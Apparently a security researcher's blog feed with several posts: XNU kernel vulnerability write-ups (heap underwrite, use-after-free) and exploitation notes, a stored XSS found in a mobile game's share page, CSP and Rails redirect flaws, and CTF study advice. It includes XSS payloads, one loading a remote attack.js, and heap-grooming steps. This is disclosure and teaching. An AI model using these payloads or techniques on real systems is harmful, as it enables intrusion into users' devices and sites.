The vulnerability is a 19-year-old heap underwrite vulnerability in XNU’s dlil.c
(which handles network interfaces) caused by an (uint16_t
) integer overflow in if.c
.
This can be triggered by a root user creating 65536 total network interfaces.
When an interface is created in ifnet_attach
:dlil.c
, if_next_index
:if.c
is called to create a if_index
on the ifnet_t ifp
:
1 2 3 4 5 6 7 8 9 10 |
|
This index is cast to a uint16_t
.
if_next_index
creates one chunk of memory that it splits into two:
ifnet_addrs
and ifindex2ifnet
, and the comments for if_next_index
hint at the problem:
“ifnet_addrs[] is indexed by (if_index - 1), whereas ifindex2ifnet[] is indexed by ifp->if_index.”
This means that when 65536 network interfaces are created, the last
interface has a ifp->if_index
of 0, and then ifnet_attach
will
write the allocated struct ifaddr *
ifa
out of the bounds of
ifnet_addrs
:
1 2 |
|
One fix for the vulnerability would be to limit the amount of interfaces that can be created to 0xFFFF.
This could be done in if_next_index
, and would not impact an interface with the same name (e.g. feth0
) that is created and destroy repeatably (the only likely scenario for this would be a utun
device, which is created when a root or privileged process creates a PF_SYSTEM
SYSPROTO_CONTROL
socket
).
The real fix here is in if_next_index
:
1 2 3 4 5 6 7 8 |
|
It seems that we agree on the correct fix (although it’s strange to keep the return value as an int
if what you’re returning cannot ever be that large).
Verified on MacOS 13.0 M1 Mac mini running build 22A380.
Also tested on iOS.
From what I can tell, it seems the vulnerable code was introduced in XNU 517.3.7, Mac OSX 10.3.2, released on December 17th, 2003, making it a 19-year-old bug!
Creating (and destroying) a network interface normally requires root permissions.
This was a super interesting POC to create.
The simplest POC for this fits in a tweet (NOTE: this might crash your machine):
1 2 3 4 5 6 7 8 9 10 11 12 |
|
Learning about the destroy
after the create
was hard-fought knowledge—for the first ~month of trying to POC this bug I only used create
.
This triggers some exponential slowdown in the kernel, and so creating enough interfaces took several hours (in my VM it would take >12 hours to trigger).
Finally I realized that you could destroy the interface and this would fix the slowdown (I also had learn that the interface info was reused/cached, even if it was deleted, so you couldn’t just create and destroy the same interface type over and over).
However, it’s much faster to trigger the bug in C (by calling the correct ioctl
to create and destroy the interfaces.
Here’s the POC that I wrote to trigger this bug, which creates enough interfaces to trigger the integer overflow and the heap underwrite.
If you’re on MacOS 12.6 (last OS that I tested this on), then ~50% of the time your system will crash.
This is because there is no memory mapped before ifnet_addrs
, and so the write goes to an unmapped page.
I think it might be possible to trigger this bug through the lightning cable on an iPhone or perhaps USB-C cable on a MacOS machine.
However, Apple (in a great move) now requires you to unlock your device and approve the connection from USB. So, this wouldn’t be possible to do on a locked, pre-first-boot device, however it might be possible to create a malicious device that tricks the user into plugging in and allowing.
I did not pursue this approach (I really don’t have hardware experience), however the idea would be to create a USB device that pretends to be ~65536 NICs. One downside of this approach it that it takes on the order of hours to create all these interfaces (which is why the POC destroys the interface after it’s created).
I did test that this idea could work by using an old iPhone 6s running iOS 12.1, with the checkra1n beta 0.12.4 jailbreak.
On first boot, I plugged in a lightning to ethernet adapter, and it actually created three new interfaces: en3
(the ethernet device), EHC1
, and OHC2
(no idea what those are).
So this might be possible, and I would love to know if anyone’s able to do this.
While creating a POC in MacOS 12.5 I tried a ton to create a POC that could alter the struct ifaddr * ifa
that was underwritten, by controlling something that was allocated before ifnet_addrs
and then modifying that pointer.
The spoiler alert here is that I failed: I was very close (as I’ll try to layout here) but was stuck on how to flip bits in the pointer without crashing or triggering an infinite loop. Then, MacOS 12.6 dropped which changed the behavior of the kernel’s memory allocator so the POC crashed 50% of the time. I decided I spent enough of my life on this bug (about two months of dedicated effort) so I sent the basic POC to Apple and here we are.
I hope that maybe you can learn something from my failed approach.
Anyway, it seems like this should be easy, use the standard trick of spraying a bunch of Out-Of-Line Mach Messages, then trigger the underwrite, read the messages to see which one was overwritten, then use that to change/alter the pointer.
O, dear reader, it was not so easy.
The first thing to understand is that ifnet_addrs
is if_next_index
creates it from two chunks of memory, and this memory is doubled every time the limit is hit:
1 2 3 4 5 6 7 8 9 |
|
This means that n
gets larger and larger, so we need to allocated 0x8000
interfaces first, and the next one will trigger the allocation of the final location of ifnet_addrs
.
For allocations larger than KHEAP_MAX_SIZE
, kalloc_type
will call into kalloc_large
.
1 2 3 4 5 6 7 |
|
So, we should be able to allocate any object into kalloc_large
if it’s over say 0x8000
in size (this way it’s applicable in all the platforms).
Oh if only things were that easy/simple.
Turns out that kalloc_large
works by calling into kernel_memory_allocate
to allocate a page of memory directly from the VM system.
Which means that this is essentially above the kernel heap allocation layer.
kernel_memory_allocate
eventually calls vm_map_find_space
, which then calls vm_map_locate_space
.
vm_map_get_range
then gets the range from a global variable called kmem_ranges
based on flags that are passed all the way:
1 2 |
|
However, there’s also a check later in vm_map_get_range
to see if the size is greater than KMEM_SMALLMAP_THRESHOLD
(which is 1MB on 64-bit platforms):
1 2 3 |
|
These ranges are quite different, as shown from an lldb debug session that I had:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
So, this explains why we couldn’t use OOL Mach messages (I tried them twice I think): due to some limit that I can’t find right now we can’t allocate an OOL Mach Message that’s > 1MB.
To make matters worse, we need our victim allocation to end up in KMEM_RANGE_ID_PTR_0
in kmem_large_ranges
(which, empirically, is where ifnet_addrs
ended up).
(I learned a lot about the importance of keeping notes while trying exploitation. I didn’t keep track of all of these limits, so I wasted lots of time trying different exploitation methods while eventually rediscovering them.)
I then did what any good hacker does: look at every single allocation site in the kernel (using IDA this time on a debug kernel) to see ones that were unbounded.
But now we need to define what our goal here is: We want this victim object allocation to be before the vulnerable object so that we can underwrite the vulnerable object and change the last 8 bytes of that object.
So, it needs:
KMEM_SMALLMAP_THRESHOLD
).KMEM_RANGE_ID_PTR_0
.Note that I didn’t start with this list, but only ended up here after following multiple dead ends and false starts.
Finally, I find something promising in kern_descrip.c
’s fdalloc
:
1 2 |
|
The SUPER weird thing here is that OFILESIZE
is NINE (9) BYTES!
Why why why, such a weird allocation pattern!
And it starts out at a strange initial that’s difficult to tell, so I created this table (note that it’s allocation size not number of objects) to see when it would be page divisible (I like to do this in an org-mode table where I keep my notes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
So we need there to be 0x2A3000 / 9 = 0x4B000 numfiles
here.
But what are those numfiles
you ask?
Turns out that we’re looking at the kernel’s storage of a process' fd
s!
Oh no, can we create 0x4B000 fd
s in a process?
Yes, if we are root, there are two limits that control this and we can just bump them right up:
1 2 |
|
The cool thing is that we can actually use dup2
to specify a (large) wanted fd
(second argument to dup2
) and the kernel will allocate all this memory for us!
Through trial, error, and debugging (dtrace ftw) I found an allocation pattern of fd
s that put things where we want:
Allocate three smaller fd tables first (to fill up first rather than after) using an fd of 153599.
Allocate in a proc 0x2A3000 / 9 = 0x4B000 fds using dup2. This will be the victim proc table using an fd of 307199.
Allocate one smaller fd tables in other procs of 0x151800 / 9 = 0x25800. These are only needed as spacing to take up room (and as much as needed) so that the target allocation will go after the victim. This is needed because of the “realloc” behavior that goes on when we allocate the victim.
Trigger underwrite.
At this point, we can allocate a victim object in the correct region, we can allocate the vulnerable object after, then we can underwrite to write into it.
Success?
Oh no, now what do we control in this newofiles
array?
Later on in fdalloc
we find:
1 2 3 4 5 6 7 |
|
So now we can see why the allocation size here is 9 bytes: 8 bytes for a pointer (what fdp->fd_ofiles
consists of) and 1 bytes for fdp->fd_ofileflags
which is the (single byte) flag for the file.
And, to make matters worse, the flags go at the end of newofiles
, which is where the underwrite happens (my kingdom for a pointer overlap).
Here are the flags that matter:
1 2 3 4 |
|
I spent a ton of time trying to find a way to flip bits in the pointer using these flags.
Ultimately I gave up, sent what I had to Apple, and moved on to the next bug (but I did learn a lot in the process).
Then, I saw this awesome blog post by Jack Dates from Ret2 Systems talking about how to corrupt from kalloc_large
and kernel_map
.
Hope this was enlightening or maybe you can empathize in my plight (it seems that us hackers rarely talk about our failures).
]]>This post describes the first vulnerability that I found in the XNU kernel, which is the Operating System used for a number of Apple products, including Macs, iPhones, iPads, lots of i-devices really.
The vulnerability is a 20-year-old use-after-free vulnerability in XNU in ndrv.c
, which can be triggered by a root user creating an AF_NDRV
socket, and I learned a ton through identifying the root cause, the fix, and creating a proof-of-concept that triggers the vulnerability.
And it was quite cool to see my name on the security notes.
An attacker with root privileges can cause a dangling pointer in the nd_multiaddrs
linked list where the data is freed but never removed from the linked list.
In ndrv.c:ndrv_do_remove_multicast
, the nd_multiaddrs
linked list
is iterated over to remove the entry ndrv_entry
from the
nd_multiaddrs
linked list with the following code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
Now, if we consider a struct ndrv_multiaddr*
linked list of the following:
1
|
|
Where A
is nd_multiaddrs
(the head of the list) and B
is ndrv_entry
(the entry that we are deleting).
The start of the for
loop sets cur
to cur->next
, and the if
condition in the for
loop compares cur->next
to ndrv_entry
to remove ndrv_entry
from our list.
In our example, this will set cur = B
at the start of the for
loop, then test NULL == B
, and the if
condition will never trigger.
Thus, even though B
is freed after this loop (in the call to ndrv_multiaddr_free
), the nd_multiaddrs
linked list in our example still looks like:
1
|
|
The conditions for triggering this vulnerability are that there must be at least two elements on the nd_multiaddrs
list, and the second element in the list is removed.
One of the things that I love about discovering vulnerabilities is trying to put myself in the shoes of the developer to understand why the bug occurred.
I can completely relate to the developer here: it took me awhile of walking through the code to even believe that there was a vulnerability.
On first glance, everything looks fine.
The other aspect to consider is the conditions that have to occur for the bug to be triggered: usually if an off-by-one error (which is essentially what this is) occurs it would be caught by the developer while doing normal testing: because the system wouldn’t do what it was supposed to do.
However, this condition does not trigger in the case of one element in the list, and only occurs if you delete a specific item in a list that has more than one item.
Therefore, I can completely relate to the developer making this mistake and not noticing this bug.
A fix for the vulnerability is to not increment the cur
pointer before entering the loop:
1 2 3 4 5 6 7 |
|
And, looking at the patched version, it seems that something similar was used by abstracting the deletion logic into a function ndrv_cb_remove_multiaddr
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
It is fascinating to learn how the developers fix these underlying bugs. While the bug itself was fixed, I notice two interesting additions here:
Abstracting the functionality of removing a ndrv_multiaddr
into a single function ndrv_cb_remove_multiaddr
.
In addition to being good software development practice, doing so will help prevent future bugs so developers have a single function to call to delete a ndrv_multiaddr
rather than doing it themselves (and introducing another bug).
The developers also added an ASSERT(removed);
at the end of the function, and this is important because it essentially encodes the security requirements of the function into the ASSERT
statement.
If future developers change functionality here, it will be unlikely that the bug will be reintroduced (although it might not be clear to future developers why a function that attempts to remove from a linked list should never fail, so perhaps they would remove it then).
From what I can tell, it seems that the vulnerable code was introduced in XNU 344 and shipped with Mac OS X Jaguar (10.2), and this bug has been present since ~2002, which makes this a 20-year old bug!
First commit: https://github.com/apple-oss-distributions/xnu/blob/fad439e77835295998e796a2547c75c42f4bc623/bsd/net/ndrv.c#L1054
Here’s the POC that I wrote to trigger this bug, which uses close
on the socket to call
ndrv_do_detach
and then ndrv_remove_all_multicast
, which
dereferences the dangling object:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
|
I’m not going to say much publicly at the moment as to how I found this vulnerability, because I’m still using it to find bugs.
I’ll release everything toward the end of my sabbatical, but for now it suffices to say that fuzzing techniques are amazing for finding these types of tricky corner-cases.
]]>Afterwards, we recorded, during our weekly meeting, a walkthrough of the judgement binary. This was a very cool format string vulnerability.
Here’s the recording:
]]>I titled this talk “A Computer in Every Pocket: Securing Mobile Applications,” because I believe that mobile applications are fundamentally changing the way that we interact with technology. Furthermore, these devices contain lots of sensitive and personal data, and keeping users safe and this data private is a goal of my research.
I focused on two recent research projects: mobile web applications and the target fragmentation problem in Android. This work is published in the following papers: “A Large-Scale Study of Mobile Web App Security” by Mutchler et al. and “Target Fragmentation in Android Apps” by Mutchler et al. (with a different et al.).
Technical content of the slides are courtesy of the excellent Dr. Patrick Mutchler.
Here is the video recording of the talk:
]]>This was an exciting talk for me, as it was my first ever OWASP meeting. I am a big fan of OWASP, and they have been instrumental to helping shape my knowledge of security. I’m happy to start giving back to the OWASP community.
In this talk I covered parts of the paper Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners, along with the intentionally vulnerable web application WackoPicko, which is contained in the great OWASP Broken Web Applications Project.
I then covered parts of the paper Enemy of the State: A State-Aware Black-Box Web Vulnerability Scanner, which the source code of the state-aware-crawler is available on GitHub.
I also discussed some preliminary work in this area and where I see the field of black-box vulnerability analysis research heading in the future.
There’s also a fantastic Q&A session at the end with great question from the audience.
Here is the video of the talk:
]]>Much of this material is derived from my CSE 591 class, which is a grad class on web security, compressed into a single lecture targeted to undergrads. We did not get to cover client-side XSS vulnerabilities (also called DOM-based XSS) or lots of other cool stuff.
Here is the video of the talk:
]]>So you may or may not be familiar with the popular mobile game DOTS. Well, if you haven’t checked it out, I urge you to. It’s a lot of fun, and it’s available on both Android and iOS.
Anyway, while playing this game, I discovered a stored XSS vulnerability in DOTS. Here’s how it came about.
So, while playing the multiplayer mode of DOTS, I noticed that there was a “Share” feature. This feature allows you to share (or brag about) your scores with a friend. What happens is that the app uploads your scores and names to the web server (I haven’t looked into the exact HTTP request that it makes), gets back a unique URL, then allows you to send this URL to someone.
After seeing this in action, I decided to see what would happen if I put some HTML tags into the names (<b> tags around my name, and some special characters after Rebecca’s name:
Whoa, my name shows up in bold! I smell an XSS…
Now, what happens if we inject a <script> tag with a call to
alert
?
(By the way, it was a lot of fun to do this by typing it into a mobile phone.)
Alright, we’re in business.
Well, for this game, I thought it would be really interesting to make Rebecca and I have the highest score in the game. I think we succeeded:
So, what could a bad guy use this vulnerability for?
Infect people who visit the page via a drive-by download. How can you get a lot of people to visit the page? How about the previously described approach of having a crazy high score?
So here I’ll try to summarize my thoughts on Agile in the Computer Science classroom, based on my experiences.
In Winter Quarter 2009 at UCSB, I took an excellent graduate class called Scalable Internet Services (290F) taught by the amazing Klaus Schauser (founder of Expertcity aka GoToMeeting and more recently AppFolio) and Ross Hale of Pivotal Labs.
The basic idea of the class was to teach us how modern websites (as of 2009, of course) are built. We learned (from the top of my head) Ruby on Rails, Amazon EC2, vertical scaling, load balancers, git, and Agile software development practices. All this theory was backed up by a course-long project, created by a group of 5 to 7 people.
It was during this project that we were exposed to Agile software development in a practical sense. Ross helped us understand and apply Agile development practices to our projects. We came up with user stories, broke those down into features, estimated the hours each of the features would take, and ordered the features into a queue. Then, I believe we had one or two week sprints (I can’t remember the exact length of a sprint) where we would work on the features. We used the scrum methodology, along with pair programming and TDD. Klaus and Ross took the place of stakeholders in the scrum system.
The class was excellent and was a great introduction to a wide-range of technologies from people who are actually using those technologies in industry.
Also, I should note, as it’s relevant to my thoughts on this class, that I later had professional experience with scrum. When working at Microsoft as a full-time software developer, my team switched to a scrum process, instead of the waterfall method we had used previously.
Now that I’ve explained the class and my experience with scrum professionally, I’ll share what I thought was awesome about using scrum in a CS classroom for graduate students.
Using scrum in class was a great way to understand what scrum was really about, rather than simply reading a book. This exposure made it much easier to use scrum professionally. I think I was also able to convincingly advocate for the change to scrum because I already had some experience. I could draw parallels for my coworkers between what we were already doing and what we would do in scrum (and how we could benefit from the sprint model and frequent feedback from stakeholders).
An additional benefit was simply the exposure to a different style of software development. It’s quite powerful just to start thinking that there’s not one way to develop software, especially in school.
Pair programming was hard to schedule as grad students. In a team of five, finding someone to pair with was difficult, and honestly we didn’t do it as much as we should have.
That being said, those times that we were able to pair program were eye-opening. It was startling to see how clear and high-level you can think when you’re not driving the keyboard. The other huge benefit was the transfer of knowledge: How did you make emacs do that? What Ruby feature is that? What command-line program did you just use?
Ultimately, using something like scrum in a quarter-long (10 weeks) collaborative project for graduate students was not effective. The simple problem is: the amount of time that students can devote to a class fluctuates wildly week-to-week, mostly due to outside demands (other classes, Teaching Assistant responsibilities, or research). Some weeks in our stake-holder meetings, we made no progress, not burning down any hours or completing any features. This made us feel like crap, and made us look bad that week to our stake-holders.
Also, we didn’t have a chance to have daily standups, because we weren’t in the same place every day at the same time.
However, by the end of the class we had a complete, full-featured, Ruby on Rails website running on EC2. (Ours was a cool private torrent site where you only seeded to or leeched from your Facebook friends.) How did that happen? Well, some weeks were more productive than others. Much more productive.
So really, the problem was in the variability of hours students could devote to the course. I think that this variability obscured some of the benefits of Agile.
I think that using agile software development techniques in the classroom is an excellent idea. Exposing students to new ideas and approaches to developing software should broaden their thinking and should prepare them for real-world software development. However, any class that takes this approach, that doesn’t have an exclusive lock on the student’s time (like a dev bootcamp might), needs to factor in the variability of the student’s time.
So blindly applying the scrum model to the classroom will not be as effective as some kind of variation that keeps in mind the student’s time. I’m not sure exactly what that is yet. Do you have any ideas?
Bryce Boe reminded me that the class was taught two more times by a different Professor, Jon Walker CTO of AppFolio, so maybe Jon’s updated the course.
]]>So, what is deDacota?
deDacota is my attempt to tackle the Cross-Site Scripting (XSS) problem. I know what you’re thinking, there’s been a ton of excellent research on this area. How could this work possibly be new?
Previously, we as a research community have looked at XSS vulnerabilities as a problem of lack of sanitization. Those pesky web developers (I am one, so I can say this) just can’t seem to properly sanitized the untrusted input that is output by their application.
You’d think that after all this time (at least a decade, if not more), the XSS problem would be done and solved. Just sanitize those inputs!
Well, the XSS problem is actually more complicated than it seems at first glance.
For this work, we went back and asked: What’s the root cause of XSS vulnerabilities? The answer is obvious when you think about it, and it’s not a lack of sanitization. The root cause is: the current web application model violates the basic security principle of code and data separation.
In the case of a web application the data is the HTML markup of the page and the code is the JavaScript code, and the problem of XSS comes when an attacker is able to trick a browser to interpret data (HTML markup) as code (JavaScript).
In an ideal world, the JavaScript that a developer intends to execute on a specific HTML page would be sent to the browser on a different channel. This would mean that even if an attacker is able to inject arbitrary HTML content into the data section, the browser will never interpret that as JavaScript code. Wouldn’t that be great?
Some people who are smarter than me have already realized this problem of mixing HTML and JavaScript code in the same web page. They banded together to create the Content Security Policy (CSP). CSP lets a developer achieve this code and data separation via an HTTP header and browser support.
The basic idea is that the web site sends a CSP HTTP header. This
header specifies to the browser which JavaScript can be executed. The
developer can specify a set of domains where the page is allowed to
load JavaScript (allowing developers to control the src
attribute in
a <script> tag). Also, the developer can specify that there will
be no inline JavaScript in the webpage.
With these two abilities, a web developer can communicate to the browser exactly what JavaScript should be executed, and, if properly designed, an attacker should not be able to execute any JavaScript! How you ask? If the developer forgot to sanitize some output, they have two choices to inject JavaScript (well, OK, there’s a lot of way, but all of them are covered by CSP):
Inject inline JavaScript:
<script>alert('xss');</script>
Inject remote JavaScript:
<script src="example.com/attack.js"></script>
Inline JavaScript is blocked by the CSP header, and remote JavaScript
is blocked because the src
of the script tag is not in the CSP
allowed domain list!
Huzzah!
I fully believe that CSP is the future for web applications. CSP provides excellent defense-in-depth. In fact, Google has required that all new Google Chrome Extensions use CSP.
However, for existing web applications, the conversion can be, shall we say, difficult.
Well, I’m glad you asked, and this is where deDacota comes in.
See, we developed an approach to automatically separate the code and data of a web application, and we enforce that separation with CSP. We implemented a prototype of this approach and wrote a paper about it.
Thanks, nice of you to ask.
First, I need to emphasize that this is a research prototype. Consider deDacota as a proof-of-concept that shows that it is possible to automatically separate the code and data of a web application.
As a first step, we tackled the problem of automatically separating the inline JavaScript into external JavaScript. (And we completely ignored the problems of separating JavaScript in HTML attributes, inline CSS, and CSS in HTML attributes. The point of a research prototype is to show that the high-level idea can work.)
Here I’ll try to give a very high-level description of how our approach works.
We first, for every web page in the application, need to approximate the HTML output of that web page. Then, from our approximation, we extract all the inline JavaScript that the page could potentially output. Finally, we rewrite the application so that all the inline JavaScript is turned into external JavaScript. Assuming that you’ve found all the inline JavaScript, boom, your application now has the code and data separated, and you can apply a CSP policy.
Prove what, exactly? Prove that this approach works in all cases (it doesn’t), prove that we find all the inline JavaScript (we can’t), or prove that you’ll never break an application (we didn’t, but it may be true).
Well, we took the first step, and we showed that this approach, while it won’t work for every application, is able to work on real-world ASP.NET applications. We ran our tool on 6 open-source applications, some with known-vulnerabilities, some that were intentionally vulnerable, and one with a developer-written test suite. deDacota was able to successfully discover all inline JavaScript in each application, and rewrite the application without breaking the way the application functions. The rewritten applications, along with CSP, successfully prevent the known vulnerabilities.
Well, if you’ve made it all the way to the end, then I assume you do want to know more. Please, check out the full deDacota paper, and feel free to email me with any questions or follow me on Twitter: @adamdoupe. Thanks!
Extra Credit: Why deDacota? What does it mean?
]]>Turns out I was so tired after the 24-hour coding blur that was the 2013 iCTF that I didn’t back up the database. Or if I did, I didn’t check it into our SVN repo. Then, to make matters worse, I didn’t make a note to backup the data later.
Fast-forward to this past Friday (4 months later), when Giovanni Vigna wanted some data from the 2013 iCTF from me. No problem, should be easy, let me just, oh crap, where is that database, is it this file, no that’s the empty table schema, what about on my desktop, tarantino, what about the server, they wiped the server for DEFCON CTF, oh god oh god, it’s all gone.
Luckily for me, a fellow PhD student had the foresight to backup the servers using duplicity before wiping them. This is an excellent policy, and I fully support it for the future. And I was able to extract the mysql database files, put them on my desktop and access the database. And now, the 2013 iCTF database is correctly backed up (on my Dropbox and our SVN repo, which is backed up). Great Success! Or rather: Epic Fail Averted!
Moral of the story: Always make a backup of your research data. Always. Like now, not later.
]]>ssh
and then cd
to the correct directory.
I call this function sshere
(ssh here):
Feel free to use, steal, or adapt to your needs.
]]>picoCTF is an awesome hacking competition aimed at High School students. The great guys at CMU and PPP are putting on this innovative competition. I had some High School students ask for pointers to prepare for the picoCTF. I invited them to our weekly hacking group and talked about the hacking mindset and basic tools. They amazed me with their knowledge—I was cutting my teeth on TI-83 BASIC programming in math class when I was their age.
What follows are my notes on the lecture I gave and the discussion that we had. I hope other young hackers find these resources useful while preparing for picoCTF.
First and foremost, we need to understand how the hacker thinks. How should you think when you’re trying to break a program?
To me, hacking is using something in a different way than the designer intended. For programs, this means bending the program to your will and making it do something that the original developer didn’t intend. Note that you can hack other things than programs, but we’ll keep our focus on computer systems.
Someone created this program with the specific purpose of you hacking and breaking it.
Ask yourself – what’s my goal here?
Get a flag, understand how a program works, find a hidden file, find hidden information, crack a code.
What are the program’s assumptions?
For me, problem solving is the most important skill for a hacker. For a programmer as well.
Before you can solve a problem, you must first understand: What is the problem? Seems simple, but it’s an important point.
Problem solving takes similar skills to debugging—something is happening that I do not expect.
You have assumptions. What are those assumptions?
Run through each one of your assumptions. Where did you get this assumption? Is this assumption still valid?
What is going on? What exactly is the problem? Does it invalidate one of your assumptions?
What is your current hypothesis?
What is the easiest way to test your hypothesis? This is the thing I see hackers fail the most. Oh, you think the database is MySQL and you’re trying to create an SQL injection exploit? Should you take an hour to finely craft a MySQL-specific SQL injection exploit? Or should you take five minutes and test that MySQL-specific comments work in your SQL-injection?
Gotta bring your brain if you wanna compete. Sometimes you need to step away from a problem to give your brain time to chew on the problem.
I don’t care what editor you use, but choose something and learn it. That time pays dividends in the future, so do it now.
Sounds silly, but when I was in college I thought I could type correctly. I used a modified hunt-and-peck developed from furious AIM conversations in 7th and 8th grade. However, I made lots of mistakes and wasn’t as fast as I could be (and am now).
When I got a job developing software professionally for Microsoft I took the time and practiced correctly touch typing for an hour a day. I’m now much faster, I type correctly, and I don’t have any wrist issues. Plus, I’m not embarrassed when other people watch me type.
It’s really important, not just for hackers, but for developers as a whole to be able to read other people’s code. Also useful is to use a debugger while reading the code so you can validate your assumptions about how the code works and what the code is doing.
These next four tools are what I run on every binary I get for every single hacking competition.
file
strings
strace
ltrace
The following network tools are indispensable.
netcat/nc/socat
tcpdump/wireshark/tshark/
Can you understand the (silly) reference we’re making?
Google-fu
Famous hacking instances
Internet Memes
Can you find the hidden flag?
Can you break the code and get the flag?
Cain an Able (windows only)
Difference between hashing and encryption
xor
Can you compromise a web application? Lot’s of types, two biggest that you absolutely must be familiar with are XSS and SQL Injection.
Firefox or Chrome
Specifically here I’m talking about knowing how to use the JavaScript console and JavaScript debugging capabilities of Chrome or Firefox.
How does this program work? Usually here you need to understand the program then once you understand the problem you can get the flag.
objdump
readelf
Can you crash it? Can you force the program to give you the flag?
That’s it, please feel free to add your own recommendations.
]]>One of the funniest books I’ve ever read. About WWII and it’s sad and funny at the same time.
The funniest book I’ve ever read. Captures the spirit of New Orleans and the characters are outlandish. Plus the book was published after the author committed suicide, so the whole book’s got a sad tinge.
One of my favorite authors, and this is his best book. About the WWII firebombing of Dresden, which killed more people than the A-bomb and the author lived through it. The science fiction aspects of the book and the third-story perspective almost seem like a coping mechanism on behalf of the author.
British novel, but I’m haunted by this book. You can’t help but wonder, what would my portrait look like?
Excellent book I read in high school. Deals with the south and slavery and love.
Hemmingway at his best. I also read this in high school so I don’t remember the details. But you need to read this closely and attentivly because Hemmingway doesn’t use a lot of words.
If you liked Grapes of Wrath you’ll like this book. It’s very long and that’s the downside. It’s a modern retelling of the story of Cain and Able from the bible.
A British novel which is excellent and about a dystopian future. Same author as Animal Farm, but this book is much better in my opinion. If you read this, you have to read Brave New World right after.
Also dystopian future but in a different maner than 1984. If you want to read this, read 1984 first, then read Brave New World directly after so you can compare and contrast. Personally I think this kind of world is much more likely for us than the world in 1984.
Similar to 1984 and Brave New World, but here books are banned. Very good.
]]>Well, an Execution After Redirect (EAR) flaw is when a developer causes an HTTP redirect to occur, typically via a web framework. The developer assumes that execution stops after the redirect, however, execution continues.
Let’s look at a Ruby on Rails example (names have been changed to hide the guilty):
class TopicsController < ApplicationController
def update
@topic = Topic.find(params[:id])
unless current_user.is_admin?
redirect_to "/"
end
if @topic.update_attributes(params[:topic])
flash[:notice] = "Topic updated!"
end
end
end
It appears that if the current user is not an admin, they are redirected to “/”, the web site root. In fact, if you access the update controller using a browser while not an admin, it will redirect you to the web site root like expected. However, if an attacker who is not an admin makes a request with topic parameters, she will be able to update your topic without being an admin!
The fix is pretty simple, always return
after a redirect!
EARs can be more complicated. For example, there’s a controller that calls a method that calls a redirect. The real fix is to know where your redirects are, and what they’re for, especially if you use a redirect during authentication.
Web application frameworks differ on if they stop execution after a redirect. Check your web framework’s documentation to see if the redirect method stops execution.
Bryce Boe and I are writing a paper studying this problem in depth. However, since I am alerting developers to potential EARs in their code, I wanted to have this informational blog post giving an overview. In addition, I developed a tool to staticially detect EARs in Ruby on Rails. Look for more blog posts in the future about the tool.
]]>In an effort to improve my writing and analysis skills, I’m going to review papers using less than 500 words. This is my first attempt.
Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications is a paper written by Davide Balzarotti et. al., and was published at the IEEE Symposium on Security and Privacy in 2008.
Saner attempts to solve the problem of verifying the correctness of sanitization functions. Previous work on analyzing web applications for vulnerabilities assume that built-in sanitization functions completely protect the application from vulnerabilities. This assumption is typically extended to custom sanitization functions (regular expressions, string replacements, etc.)
Proper analysis of sanitization functions would enable a tool to be more precise about the vulnerabilities that it discovers. It can also be used to analyze a language’s built-in sanitization functions.
Saner utilizes static and dynamic approaches to analyze sanitization functions.
The static part was built by extending Pixy to keep track of the string values that each variable can hold. Saner can see if a variable can be used as output and if it is used in the output. However, the method used to keep track of the string values is an over-approximation, which might produce false-positives (but not false-negatives).
A dynamic approach is used to reduce the number of false-positives by generating inputs and seeing if those inputs trigger a vulnerability. In this way, Saner can present all the verified vulnerabilities, but if the user wishes, also present all the possible vulnerabilities so the user can investigate.
Saner inherits the same limitations as Pixy, namely it does not support PHP’s eval function and aliased array elements.
An extension to this (and other static web analyzers) would be to use the context of a variables output in the HTML page. For instance, variables that output to the headers of an HTTP response are vulnerable to HTTP Response Splitting and need to disallow ‘\r’ and ‘\n’, while these characters are safe when output in the HTML response. Another example is a variable that is output after a starting script tag but before the ending tag to customize the JavaScript sent to the user. Here’s a simple example of this:
<script>
var userName = "<?php echo $userName; ?>";
</script>
In this case, restricting only ‘<’ and ‘>’ will not work. The idea of context can be extended to attributes of HTML tags.
Another problem is how to treat variables from the database: are they sanitized or not? A static analyzer that is able to properly model and taint the flow of data into and out of the database would be very cool (and if you know of someone who’s done this, let me know).
]]>While learning more about clojure, I wanted to do some network sniffing. Following a guide to raw traffic in clojure I needed to install jpcap in order to use libpcap from java.
Jpcap doesn’t provide a 64-bit version so I had to compile my own. Here’s the documentation of how I did it. A patch is provided at the end of the post.
Download jpcap or use the following command:
wget http://netresearch.ics.uci.edu/kfujii/Jpcap/jpcap-0.7.tar.gz
Untar jpcap
tar -xvf jpcap-0.7.tar.gz
Move into src directory
cd jpcap-0.7/src/c/
Open up Makefile in your favorite editor (mine’s emacs)
emacs Makefile
Change this line:
JAVA_DIR = $(JAVA_HOME)
To This:
JAVA_DIR = /usr/lib/jvm/java-6-sun/
Change the compile options from this:
COMPILE_OPTION = -shared -L.
To this:
COMPILE_OPTION = -shared -L. -fPIC
Save your file and close your editor.
Run make:
make
Follow the jpcap installation instructions
Patch to do this automatically
Let me know if you have any problems!
]]>Here’s what I had to do in Ubuntu (this was on an old 8.10 server).
Enabled mod_rewrite:
sudo a2enmod rewrite
Add the following in the VirtualHost section of my regular http setup to my config at /etc/apache2/sites-enabled/ :
RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} ^/foldername/.\*
RewriteRule ^(.\*)$ https://host.name.com$1 [R,L]
Restart Apache:
sudo service apache2 restart
Make sure if you use this to change foldername to the name of the folder where you want to enforce HTTPS and host.name.com to the name of your host.
]]>
brctl setageing <bridgename> 0